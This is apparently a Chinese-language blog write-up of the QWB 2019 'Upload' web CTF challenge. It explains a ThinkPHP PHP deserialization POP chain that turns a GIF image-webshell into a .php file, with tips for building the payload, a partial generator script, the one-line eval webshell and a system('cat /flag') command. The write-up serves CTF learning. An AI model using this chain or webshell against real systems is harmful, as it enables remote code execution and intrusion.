强网杯 2019 - Web - Upload

AI-摘要
Microsoft Xiaoice's GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
强网杯 2019 - Web - Upload
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | 强网杯 2019 |
| 方向 | Web |
| 难度 | 中等 |
| 框架 | ThinkPHP 5.1.35 LTS(PHP 7.3.10 + openresty) |
| 环境 | 授权靶场(已脱敏) |
信息收集
访问 /www.tar.gz 泄露完整源码,审计确认触发点。绝对路径信息(/var/www/html/public/)属于部署环境,仅作解题叙事保留。
Index::login_check() 对 cookie user 做 base64_decode + unserialize:
1 | public function login_check(){ |
漏洞分析
漏洞类型:PHP 反序列化 POP 链 + 图片马 getshell。
目标:调用 Profile::upload_img(),把已上传的图片马 copy 成 .php。利用链:
1 | Register::__destruct() → if(!$this->registed) $this->checker->index() |
upload_img() 关键逻辑:
1 | public function upload_img(){ |
关键细节(踩坑点)
这是本题最关键的地方,也是之前多次 500 失败的原因:
- 类名必须带完整命名空间:序列化时类名要写
O:27:"app\web\controller\Register"和O:26:"app\web\controller\Profile",而不是简写O:8:"Register"/O:7:"Profile"。 upload_menu字段设为N;(null),不能填具体值。- 路径用
../public/upload/<md5(REMOTE_ADDR)>/:反序列化触发时工作目录是public/,../public/upload恰好解析回public/upload。 - 图片马必须是合法 GIF:
getimagesize()才能返回image/gif。旧版GIF89a<?php...是非法 GIF,getimagesize失败。正确做法是GIF87a头 + 1x1 像素 + PHP 代码藏在 GIF 注释扩展块。
利用过程
- 源码泄露:下载
/www.tar.gz,定位 cookie 反序列化入口与upload_imgsink。 - 构造 POP 链:按「完整 EXP」生成序列化字符串并 base64 编码。
- 上传图片马:上传合法 GIF 图片马到
public/upload对应目录。 - 触发反序列化:设置 cookie
user=<payload>访问/index.php/index,图片马被copy成.php。 - getshell 读 flag:通过 webshell(
<?php @eval($_POST["cmd"]);?>)执行cmd=system('cat /flag')得到 flag。
完整 EXP
生成 payload 的 PHP 脚本:
1 | class Register { |
其中 <menu> = md5($_SERVER['REMOTE_ADDR']),<md5> = md5("shell.png")。
webshell 命令:
1 | cmd=system('cat /flag') |
Flag
1 | flag{xxxx} |
(通过 webshell 执行 cat /flag 读出,真实值已脱敏。)
踩坑与总结
- 类名必须写完整命名空间(
app\web\controller\Register/Profile),否则反序列化找不到类,多次 500 皆因此。 upload_menu必须为N;(null)。- 路径
../public/upload/...要与反序列化时的工作目录public/对应。 - 图片马必须是合法 GIF(
GIF87a头 + 1x1 像素,代码藏注释扩展块),简单GIF89a<?php过不了getimagesize。 - 链的核心是
Register::__destruct → Profile::__call → __get → upload_img → copy改名 getshell。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果







